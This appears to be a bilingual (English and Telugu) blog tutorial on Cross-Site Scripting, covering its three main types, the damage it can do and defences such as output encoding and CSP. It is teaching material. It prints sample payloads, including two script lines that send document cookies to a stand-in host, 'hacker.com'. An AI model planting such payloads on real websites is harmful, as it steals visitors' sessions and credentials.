Cross-Site Scripting (XSS) is a critical web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.
Unlike most attacks that target a server directly, XSS targets the users of a website by exploiting the trust a user has in a specific site. When a victim visits the compromised page, their browser executes the malicious script, thinking it came from a trusted source.
How XSS Works
The core of an XSS attack is the failure of a web application to properly validate or escape user input.
Injection: The attacker finds a way to put a malicious script into a webpage (e.g., through a comment, a search bar, or a URL).
Execution: A victim visits the webpage.
Data Theft: The script runs in the victim's browser and can steal sensitive information like session cookies, which are then sent to the attacker.
Types of XSS with Examples
XSS is generally categorized into three main types based on how the script is delivered:
1. Stored XSS (Persistent)
This is the most dangerous type. The malicious script is permanently stored on the target server (e.g., in a database, a forum post, or a comment field).
Scenario: A hacker posts a comment on a blog that contains a hidden script.
Malicious Payload:
<script>fetch('https://hacker.com/steal?cookie=' + document.cookie);</script>Example: Every user who views that blog post will have their session cookie automatically sent to the hacker's server without ever knowing it happened.
2. Reflected XSS (Non-Persistent)
The script is "reflected" off a web application to the victim's browser. It is not stored on the server; instead, it is delivered via a link (often in an email or a chat).
Scenario: A search page displays the user's search term back to them: "Results for: [search_term]".
The Attack: The attacker sends a victim a link like:
https://bank.com/search?q=<script>alert('Hacked!')</script>
Example: When the victim clicks the link, the website "reflects" the script from the URL directly onto the page, and the browser executes it.
3. DOM-based XSS
The vulnerability exists entirely in the client-side code (JavaScript) rather than the server-side code. The attack happens when a script pulls data from a source the user can control (like the URL) and writes it to the Document Object Model (DOM) unsafely.
Scenario: A site uses JavaScript to greet a user based on a URL fragment.
var name = window.location.hash.substring(1); document.body.innerHTML = 'Hello ' + name;
The Attack: An attacker lures a user to:
https://site.com/#<img src=x onerror=alert(1)>Example: The server never sees this script (as fragments aren't sent to the server), but the local JavaScript processes it and injects the malicious
imgtag into the page.
Why is XSS Dangerous?
If an attacker can execute JavaScript in your browser, they can:
Steal Session Cookies: This allows them to log in as the victim (Session Hijacking).
Capture Keystrokes: Record everything the user types (Keylogging).
Phishing: Create fake login forms on a real website to steal passwords.
Website Defacement: Change the content of the site to spread misinformation.
How to Prevent XSS
Securing a site requires a "Defense in Depth" approach:
| Technique | Description |
| Output Encoding | Convert special characters like < to < before displaying them. This tells the browser to treat them as text, not code. |
| Input Validation | Only allow expected data (e.g., ensuring an "Age" field only contains numbers). |
| Content Security Policy (CSP) | A security header that tells the browser which scripts are allowed to run and from which sources. |
| HttpOnly Cookies | A flag for cookies that prevents JavaScript from accessing them, making it impossible to steal session tokens via XSS. |
క్రాస్-సైట్ స్క్రిప్టింగ్ (Cross-Site Scripting - XSS) అనేది వెబ్ సెక్యూరిటీలో ఒక ముఖ్యమైన లోపం. దీని ద్వారా హ్యాకర్లు (Attackers) ఒక వెబ్సైట్లోకి హానికరమైన స్క్రిప్ట్లను (సాధారణంగా JavaScript) పంపిస్తారు. ఈ స్క్రిప్ట్లు ఆ వెబ్సైట్ను సందర్శించే ఇతర వినియోగదారుల బ్రౌజర్లో రన్ అవుతాయి.
సాధారణంగా దాడులు సర్వర్పై జరుగుతాయి, కానీ XSS ద్వారా హ్యాకర్లు వినియోగదారులను (Users) నేరుగా లక్ష్యంగా చేసుకుంటారు.
XSS ఎలా పనిచేస్తుంది?
వెబ్ అప్లికేషన్ వినియోగదారు ఇచ్చే సమాచారాన్ని (Input) సరిగ్గా తనిఖీ చేయకుండా లేదా ఎన్కోడ్ చేయకుండా పేజీలో చూపించినప్పుడు ఈ దాడి జరుగుతుంది.
ఇంజెక్షన్ (Injection): హ్యాకర్ ఒక వెబ్సైట్ సెర్చ్ బాక్స్లో లేదా కామెంట్ సెక్షన్లో హానికరమైన కోడ్ను ఎంటర్ చేస్తాడు.
ఎగ్జిక్యూషన్ (Execution): ఆ వెబ్సైట్ను ఎవరైనా సామాన్య వినియోగదారు సందర్శించినప్పుడు, ఆ కోడ్ వారి బ్రౌజర్లో ఆటోమేటిక్గా రన్ అవుతుంది.
డేటా చోరీ (Data Theft): ఆ కోడ్ ద్వారా వినియోగదారుని కుకీలు (Cookies), సెషన్ ఐడిలు లేదా ఇతర రహస్య సమాచారాన్ని హ్యాకర్ దొంగిలిస్తాడు.
XSS రకాలు మరియు ఉదాహరణలు
1. స్టోర్డ్ XSS (Stored XSS)
ఇది అత్యంత ప్రమాదకరమైనది. ఇందులో హానికరమైన స్క్రిప్ట్ వెబ్సైట్ డేటాబేస్లో శాశ్వతంగా సేవ్ అవుతుంది.
ఉదాహరణ: ఒక బ్లాగ్ వెబ్సైట్లో హ్యాకర్ ఒక కామెంట్ రాస్తాడు. ఆ కామెంట్లో ఈ క్రింది విధంగా కోడ్ ఉంటుంది:
<script>window.location="http://hacker.com/steal?cookie="+document.cookie;</script>
ఫలితం: ఆ బ్లాగ్ పోస్ట్ను ఎవరైతే చదువుతారో, వారి బ్రౌజర్ ఆ కోడ్ను రన్ చేసి, వారి కుకీలను హ్యాకర్ సర్వర్కు పంపిస్తుంది.
2. రిఫ్లెక్టెడ్ XSS (Reflected XSS)
ఇందులో స్క్రిప్ట్ డేటాబేస్లో సేవ్ అవ్వదు. ఇది కేవలం ఒక లింక్ ద్వారా వినియోగదారుకు పంపబడుతుంది.
ఉదాహరణ: ఒక సెర్చ్ పేజీ మీరు వెతికిన పదాన్ని మళ్ళీ చూపిస్తుంది అనుకుందాం (ఉదా: "Results for: Apple").
దాడి: హ్యాకర్ వినియోగదారుకు ఇలాంటి ఒక లింక్ పంపిస్తాడు:
https://example.com/search?q=<script>alert('మీ ఖాతా హ్యాక్ అయింది!')</script>
ఫలితం: వినియోగదారు ఆ లింక్ క్లిక్ చేయగానే, వెబ్సైట్ ఆ స్క్రిప్ట్ను పేజీలో చూపిస్తుంది మరియు అది బ్రౌజర్లో రన్ అవుతుంది.
3. DOM-ఆధారిత XSS (DOM-based XSS)
ఈ దాడి పూర్తిగా వినియోగదారు బ్రౌజర్లోనే (Client-side) జరుగుతుంది. వెబ్ పేజీలోని జావాస్క్రిప్ట్ కోడ్, URL లోని సమాచారాన్ని సరిగ్గా హ్యాండిల్ చేయనప్పుడు ఇది సంభవిస్తుంది.
XSS వల్ల కలిగే నష్టాలు
సెషన్ హైజాకింగ్ (Session Hijacking): వినియోగదారు లాగిన్ వివరాలను (Cookies) దొంగిలించి, వారి ఖాతాలోకి హ్యాకర్ ప్రవేశించవచ్చు.
కీ లాగింగ్ (Keylogging): వినియోగదారు టైప్ చేసే పాస్వర్డ్లను హ్యాకర్ రికార్డ్ చేయవచ్చు.
ఫిషింగ్ (Phishing): వెబ్సైట్లో నకిలీ లాగిన్ ఫారమ్లను సృష్టించి వినియోగదారులను మోసం చేయవచ్చు.
XSS నుండి రక్షణ పొందడం ఎలా?
| పద్ధతి | వివరణ |
| అవుట్పుట్ ఎన్కోడింగ్ (Output Encoding) | వినియోగదారు ఇచ్చే డేటాను పేజీలో చూపించే ముందు ప్రత్యేక అక్షరాలను (ఉదా: < ను < గా) మార్చాలి. |
| ఇన్పుట్ వాలిడేషన్ (Input Validation) | యూజర్ ఇచ్చే సమాచారం సరైనదో కాదో ముందే తనిఖీ చేయాలి. |
| కంటెంట్ సెక్యూరిటీ పాలసీ (CSP) | ఏ స్క్రిప్ట్లు రన్ అవ్వాలో, ఏవి అవ్వకూడదో బ్రౌజర్కు నియమాలను విధించడం. |
| HttpOnly కుకీలు | కుకీలకు 'HttpOnly' అనే ఫ్లాగ్ సెట్ చేయడం వల్ల జావాస్క్రిప్ట్ ద్వారా వాటిని దొంగిలించడం సాధ్యం కాదు. |
No comments:
Post a Comment
Note: only a member of this blog may post a comment.